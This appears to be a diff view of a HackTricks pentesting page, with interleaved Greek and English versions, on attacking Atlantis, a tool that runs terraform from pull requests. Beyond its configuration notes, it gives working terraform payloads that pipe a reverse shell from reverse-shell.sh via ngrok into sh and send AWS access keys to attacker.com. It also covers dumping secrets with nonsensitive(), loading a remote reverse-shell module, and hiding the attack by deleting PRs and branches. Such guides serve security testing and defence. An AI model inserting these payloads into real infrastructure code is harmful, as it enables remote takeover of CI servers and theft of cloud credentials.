AUTH_ROLE_PUBLIC = 'Admin'
```
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long

View File

@@ -4,109 +4,109 @@
### Basic Information
Atlantis βασικά σας βοηθά να εκτελείτε terraform από Pull Requests από τον git server σας.
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
![](<../images/image (161).png>)
### Local Lab
1. Πηγαίνετε στη σελίδα **atlantis releases** στο [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) και **κατεβάστε** την κατάλληλη για εσάς.
2. Δημιουργήστε ένα **προσωπικό token** (με πρόσβαση σε repo) του χρήστη σας στο **github**.
3. Εκτελέστε `./atlantis testdrive` και θα δημιουργήσει ένα **demo repo** που μπορείτε να χρησιμοποιήσετε για να **επικοινωνήσετε με το atlantis**.
1. Μπορείτε να αποκτήσετε πρόσβαση στη σελίδα στον 127.0.0.1:4141.
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
### Atlantis Access
#### Git Server Credentials
**Atlantis** υποστηρίζει αρκετούς git hosts όπως **Github**, **Gitlab**, **Bitbucket** και **Azure DevOps**.\
Ωστόσο, για να αποκτήσετε πρόσβαση στα repos σε αυτές τις πλατφόρμες και να εκτελέσετε ενέργειες, χρειάζεται να έχει κάποιες **παραχωρημένες προνομιακές πρόσβασεις** (τουλάχιστον δικαιώματα εγγραφής).\
[**Τα docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) προτείνουν να δημιουργήσετε έναν χρήστη σε αυτές τις πλατφόρμες ειδικά για το Atlantis, αλλά κάποιοι άνθρωποι μπορεί να χρησιμοποιούν προσωπικούς λογαριασμούς.
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
> [!WARNING]
> Σε κάθε περίπτωση, από την οπτική γωνία ενός επιτιθέμενου, ο **λογαριασμός Atlantis** θα είναι πολύ **ενδιαφέρον** **να παραβιαστεί**.
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
#### Webhooks
Το Atlantis χρησιμοποιεί προαιρετικά [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) για να επιβεβαιώσει ότι τα **webhooks** που λαμβάνει από τον Git host σας είναι **νόμιμα**.
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Ένας τρόπος για να το επιβεβαιώσετε αυτό θα ήταν να **επιτρέψετε τις αιτήσεις να προέρχονται μόνο από τις IPs** του Git host σας, αλλά ένας πιο εύκολος τρόπος είναι να χρησιμοποιήσετε ένα Webhook Secret.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
Σημειώστε ότι εκτός αν χρησιμοποιείτε έναν ιδιωτικό server github ή bitbucket, θα χρειαστεί να εκθέσετε τα webhook endpoints στο Διαδίκτυο.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
> [!WARNING]
> Το Atlantis θα **εκθέτει webhooks** ώστε ο git server να μπορεί να του στείλει πληροφορίες. Από την οπτική γωνία ενός επιτιθέμενου, θα ήταν ενδιαφέρον να γνωρίζει **αν μπορείτε να του στείλετε μηνύματα**.
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[Από τα docs:](https://www.runatlantis.io/docs/provider-credentials.html)
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Το Atlantis εκτελεί Terraform απλά **εκτελώντας τις εντολές `terraform plan` και `apply`** στον server **στον οποίο φιλοξενείται το Atlantis**. Ακριβώς όπως όταν εκτελείτε Terraform τοπικά, το Atlantis χρειάζεται διαπιστευτήρια για τον συγκεκριμένο πάροχο σας.
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Είναι δική σας επιλογή πώς να [παρέχετε διαπιστευτήρια](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) για τον συγκεκριμένο πάροχο στο Atlantis:
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
- Το Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) και το [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) έχουν τους δικούς τους μηχανισμούς για τα διαπιστευτήρια παρόχου. Διαβάστε τα docs τους.
- Αν εκτελείτε το Atlantis σε ένα cloud, τότε πολλά clouds έχουν τρόπους να δώσουν πρόσβαση στο cloud API σε εφαρμογές που εκτελούνται σε αυτά, π.χ.:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Αναζητήστε "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Πολλοί χρήστες ρυθμίζουν μεταβλητές περιβάλλοντος, π.χ. `AWS_ACCESS_KEY`, όπου εκτελείται το Atlantis.
- Άλλοι δημιουργούν τα απαραίτητα αρχεία ρυθμίσεων, π.χ. `~/.aws/credentials`, όπου εκτελείται το Atlantis.
- Χρησιμοποιήστε τον [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) για να αποκτήσετε διαπιστευτήρια παρόχου.
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
> [!WARNING]
> Ο **κοντέινερ** όπου **τρέχει το Atlantis** θα περιέχει πιθανότατα **προνομιακά διαπιστευτήρια** για τους παρόχους (AWS, GCP, Github...) που διαχειρίζεται το Atlantis μέσω Terraform.
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
#### Web Page
Από προεπιλογή, το Atlantis θα εκτελεί μια **ιστοσελίδα στην πόρτα 4141 στον localhost**. Αυτή η σελίδα σας επιτρέπει απλά να ενεργοποιήσετε/απενεργοποιήσετε το atlantis apply και να ελέγξετε την κατάσταση του σχεδίου των repos και να τα ξεκλειδώσετε (δεν επιτρέπει να τροποποιήσετε πράγματα, οπότε δεν είναι και τόσο χρήσιμη).
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
Πιθανώς δεν θα τη βρείτε εκτεθειμένη στο διαδίκτυο, αλλά φαίνεται ότι από προεπιλογή **δεν απαιτούνται διαπιστευτήρια** για να αποκτήσετε πρόσβαση σε αυτήν (και αν απαιτούνται, `atlantis`:`atlantis` είναι οι **προεπιλεγμένες**).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
### Server Configuration
Η ρύθμιση για το `atlantis server` μπορεί να καθοριστεί μέσω σημαιών γραμμής εντολών, μεταβλητών περιβάλλοντος, αρχείου ρυθμίσεων ή ενός μείγματος των τριών.
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
- Μπορείτε να βρείτε [**εδώ τη λίστα με τις σημαίες**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) που υποστηρίζει ο server του Atlantis.
- Μπορείτε να βρείτε [**εδώ πώς να μετατρέψετε μια επιλογή ρύθμισης σε env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
Οι τιμές επιλέγονται **με αυτή τη σειρά**:
Values are **chosen in this order**:
1. Σημαίες
2. Μεταβλητές Περιβάλλοντος
3. Αρχείο Ρυθμίσεων
1. Flags
2. Environment Variables
3. Config File
> [!WARNING]
> Σημειώστε ότι στη ρύθμιση μπορεί να βρείτε ενδιαφέρουσες τιμές όπως **tokens και κωδικούς πρόσβασης**.
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
#### Repos Configuration
Ορισμένες ρυθμίσεις επηρεάζουν **πώς διαχειρίζονται τα repos**. Ωστόσο, είναι πιθανό ότι **κάθε repo απαιτεί διαφορετικές ρυθμίσεις**, οπότε υπάρχουν τρόποι να καθορίσετε κάθε repo. Αυτή είναι η σειρά προτεραιότητας:
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) αρχείο. Αυτό το αρχείο μπορεί να χρησιμοποιηθεί για να καθορίσει πώς το atlantis θα πρέπει να αντιμετωπίζει το repo. Ωστόσο, από προεπιλογή, ορισμένα κλειδιά δεν μπορούν να καθοριστούν εδώ χωρίς κάποιες σημαίες που το επιτρέπουν.
1. Πιθανώς απαιτείται να επιτραπεί από σημαίες όπως `allowed_overrides` ή `allow_custom_workflows`.
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Μπορείτε να το περάσετε με τη σημαία `--repo-config` και είναι ένα yaml που ρυθμίζει νέες ρυθμίσεις για κάθε repo (υποστηρίζονται regexes).
3. **Προεπιλεγμένες** τιμές.
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
**PR Protections**
Το Atlantis επιτρέπει να υποδείξετε αν θέλετε το **PR** να είναι **`approved`** από κάποιον άλλο (ακόμα και αν αυτό δεν έχει οριστεί στην προστασία του branch) και/ή να είναι **`mergeable`** (προστασίες branch περασμένες) **πριν εκτελέσετε apply**. Από την άποψη της ασφάλειας, η ρύθμιση και των δύο επιλογών είναι συνιστώμενη.
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
Σε περίπτωση που το `allowed_overrides` είναι True, αυτές οι ρυθμίσεις μπορούν να **αντικατασταθούν σε κάθε έργο από το αρχείο `/atlantis.yml`**.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
**Scripts**
Η ρύθμιση του repo μπορεί να **καθορίσει scripts** για εκτέλεση [**πριν**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) και [**μετά**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) από μια **ροή εργασίας**.
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
Δεν υπάρχει καμία επιλογή για να επιτρέψετε **να καθορίσετε** αυτά τα scripts στο **repo `/atlantis.yml`** αρχείο.
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
**Workflow**
Στη ρύθμιση του repo (server side config) μπορείτε να [**καθορίσετε μια νέα προεπιλεγμένη ροή εργασίας**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ή [**να δημιουργήσετε νέες προσαρμοσμένες ροές εργασίας**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Μπορείτε επίσης να **καθορίσετε** ποιες **repos** μπορούν να **έχουν πρόσβαση** στις **νέες** που δημιουργούνται.\
Στη συνέχεια, μπορείτε να επιτρέψετε το αρχείο **atlantis.yaml** κάθε repo να **καθορίσει τη ροή εργασίας που θα χρησιμοποιηθεί**.
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
> [!CAUTION]
> Αν η σημαία [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` είναι ρυθμισμένη σε **True**, οι ροές εργασίας μπορούν να **καθοριστούν** στο **`atlantis.yaml`** αρχείο κάθε repo. Είναι επίσης πιθανώς απαραίτητο το **`allowed_overrides`** να καθορίζει επίσης **`workflow`** για **να αντικαταστήσει τη ροή εργασίας** που θα χρησιμοποιηθεί.\
> Αυτό θα δώσει βασικά **RCE στον server του Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo**.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -126,18 +126,19 @@ Atlantis βασικά σας βοηθά να εκτελείτε terraform από
**Conftest Policy Checking**
Το Atlantis υποστηρίζει την εκτέλεση **server-side** [**conftest**](https://www.conftest.dev/) **πολιτικών** κατά της εξόδου του σχεδίου. Κοινές περιπτώσεις χρήσης για τη χρήση αυτού του βήματος περιλαμβάνουν:
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
- Απαγόρευση χρήσης μιας λίστας modules.
- Επιβεβαίωση χαρακτηριστικών ενός πόρου κατά τη διάρκεια της δημιουργίας.
- Ανίχνευση μη σκόπιμων διαγραφών πόρων.
- Πρόληψη κινδύνων ασφαλείας (π.χ. έκθεση ασφαλών θυρών στο κοινό).
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
Μπορείτε να ελέγξετε πώς να το ρυθμίσετε στα [**docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
[**Στα docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) μπορείτε να βρείτε τις επιλογές που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε το Atlantis:
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
```bash
# Get help
atlantis help
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Επιθέσεις
### Attacks
> [!WARNING]
> Εάν κατά τη διάρκεια της εκμετάλλευσης βρείτε αυτό το **σφάλμα**: `Error: Error acquiring the state lock`
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
Μπορείτε να το διορθώσετε εκτελώντας:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Τροποποίηση ρυθμίσεων σε νέο PR
Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να **εκτελέσετε `atlantis plan`** (ή ίσως εκτελείται αυτόματα) **θα μπορείτε να RCE μέσα στον διακομιστή Atlantis**.
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
Μπορείτε να το κάνετε αυτό κάνοντάς το [**Atlantis να φορτώσει μια εξωτερική πηγή δεδομένων**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Απλά τοποθετήστε ένα payload όπως το παρακάτω στο αρχείο `main.tf`:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Πιο Διακριτική Επίθεση**
Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με **πιο διακριτικό τρόπο**, ακολουθώντας αυτές τις προτάσεις:
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να **φορτώσετε μια εξωτερική πηγή** που περιέχει το rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Μπορείτε να βρείτε τον κώδικα rev shell στο [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- Στην εξωτερική πηγή, χρησιμοποιήστε τη λειτουργία **ref** για να κρύψετε τον **κώδικα terraform rev shell σε ένα branch** μέσα στο repo, κάτι σαν: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Αντί** να δημιουργήσετε ένα **PR στο master** για να ενεργοποιήσετε το Atlantis, **δημιουργήστε 2 branches** (test1 και test2) και δημιουργήστε ένα **PR από το ένα στο άλλο**. Όταν ολοκληρώσετε την επίθεση, απλά **αφαιρέστε το PR και τα branches**.
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
#### Atlantis plan Secrets Dump
Μπορείτε να **dump secrets που χρησιμοποιούνται από το terraform** εκτελώντας `atlantis plan` (`terraform plan`) βάζοντας κάτι τέτοιο στο αρχείο terraform:
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis apply RCE - Τροποποίηση ρυθμίσεων σε νέο PR
Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να **εκτελέσετε `atlantis apply`, θα μπορείτε να κάνετε RCE μέσα στον διακομιστή Atlantis**.
#### Atlantis apply RCE - Config modification in new PR
Ωστόσο, συνήθως θα χρειαστεί να παρακάμψετε κάποιες προστασίες:
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
- **Mergeable**: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, μπορείτε να εκτελέσετε **`atlantis apply` μόνο αν το PR είναι mergeable** (που σημαίνει ότι η προστασία του κλάδου πρέπει να παρακαμφθεί).
- Ελέγξτε πιθανές [**παρακάμψεις προστασιών κλάδου**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, κάποιος **άλλος χρήστης πρέπει να εγκρίνει το PR** πριν μπορέσετε να εκτελέσετε `atlantis apply`
- Από προεπιλογή μπορείτε να εκμεταλλευτείτε το [**Gitbot token για να παρακάμψετε αυτή την προστασία**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Εκτελώντας **`terraform apply` σε ένα κακόβουλο αρχείο Terraform με** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Απλά πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Ακολουθήστε τις **προτάσεις από την προηγούμενη τεχνική** για να εκτελέσετε αυτή την επίθεση με **πιο διακριτικό τρόπο**.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
#### Terraform Param Injection
Όταν εκτελείτε `atlantis plan` ή `atlantis apply`, το terraform εκτελείται από κάτω, μπορείτε να περάσετε εντολές στο terraform από το atlantis σχολιάζοντας κάτι όπως:
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Κάτι που μπορείτε να περάσετε είναι οι env μεταβλητές που μπορεί να είναι χρήσιμες για να παρακάμψετε κάποιες προστασίες. Ελέγξτε τις terraform env vars στο [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Προσαρμοσμένη Ροή Εργασίας
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
Εκτέλεση **κακόβουλων προσαρμοσμένων εντολών κατασκευής** που καθορίζονται σε ένα αρχείο `atlantis.yaml`. Το Atlantis χρησιμοποιεί το αρχείο `atlantis.yaml` από το branch του pull request, **όχι** από το `master`.\
Αυτή η δυνατότητα αναφέρθηκε σε προηγούμενη ενότητα:
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
> [!CAUTION]
> Εάν η σημαία [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` είναι ρυθμισμένη σε **True**, οι ροές εργασίας μπορούν να **καθοριστούν** στο **`atlantis.yaml`** αρχείο κάθε repo. Είναι επίσης πιθανό να χρειάζεται η **`allowed_overrides`** να καθορίζει επίσης **`workflow`** για να **παρακάμψει τη ροή εργασίας** που πρόκειται να χρησιμοποιηθεί.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
>
> Αυτό θα δώσει βασικά **RCE στον διακομιστή Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo**.
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -272,97 +286,99 @@ atlantis apply -- -h #Get terraform apply help
> - run: my custom apply command
> ```
#### Παράκαμψη προστασιών plan/apply
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
Εάν η σημαία [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _έχει_ ρυθμιστεί `apply_requirements`, είναι δυνατό για ένα repo να **τροποποιήσει τις προστασίες plan/apply για να τις παρακάμψει**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### PR Hijacking
Αν κάποιος στείλει **`atlantis plan/apply` σχόλια στις έγκυρες αιτήσεις σας,** θα προκαλέσει την εκτέλεση του terraform όταν δεν το θέλετε.
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
Επιπλέον, αν δεν έχετε ρυθμίσει στην **προστασία κλάδου** να ζητάτε **επανεκτίμηση** κάθε PR όταν **προστεθεί μια νέα δέσμευση** σε αυτό, κάποιος θα μπορούσε να **γράψει κακόβουλες ρυθμίσεις** (ελέγξτε τα προηγούμενα σενάρια) στην ρύθμιση του terraform, να εκτελέσει `atlantis plan/apply` και να αποκτήσει RCE.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
Αυτή είναι η **ρύθμιση** στην προστασία κλάδων του Github:
This is the **setting** in Github branch protections:
![](<../images/image (216).png>)
#### Webhook Secret
Αν καταφέρετε να **κλέψετε το webhook secret** που χρησιμοποιείται ή αν **δεν υπάρχει κανένα webhook secret** που να χρησιμοποιείται, θα μπορούσατε να **καλέσετε το webhook του Atlantis** και να **καλέσετε τις εντολές του atlantis** απευθείας.
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
#### Bitbucket
Το Bitbucket Cloud **δεν υποστηρίζει webhook secrets**. Αυτό θα μπορούσε να επιτρέψει στους επιτιθέμενους να **παραποιήσουν αιτήματα από το Bitbucket**. Βεβαιωθείτε ότι επιτρέπετε μόνο τις διευθύνσεις IP του Bitbucket.
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
- Αυτό σημαίνει ότι ένας **επιτιθέμενος** θα μπορούσε να κάνει **ψευδείς αιτήσεις στο Atlantis** που φαίνονται ότι προέρχονται από το Bitbucket.
- Αν καθορίζετε `--repo-allowlist`, τότε θα μπορούσαν να παραποιήσουν μόνο αιτήματα που αφορούν σε αυτά τα αποθετήρια, οπότε η μεγαλύτερη ζημιά που θα μπορούσαν να προκαλέσουν θα ήταν να εκτελέσουν plan/apply στα δικά σας αποθετήρια.
- Για να το αποτρέψετε, επιτρέψτε μόνο τις [διευθύνσεις IP του Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (δείτε τις Εξόδους IPv4).
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
### Post-Exploitation
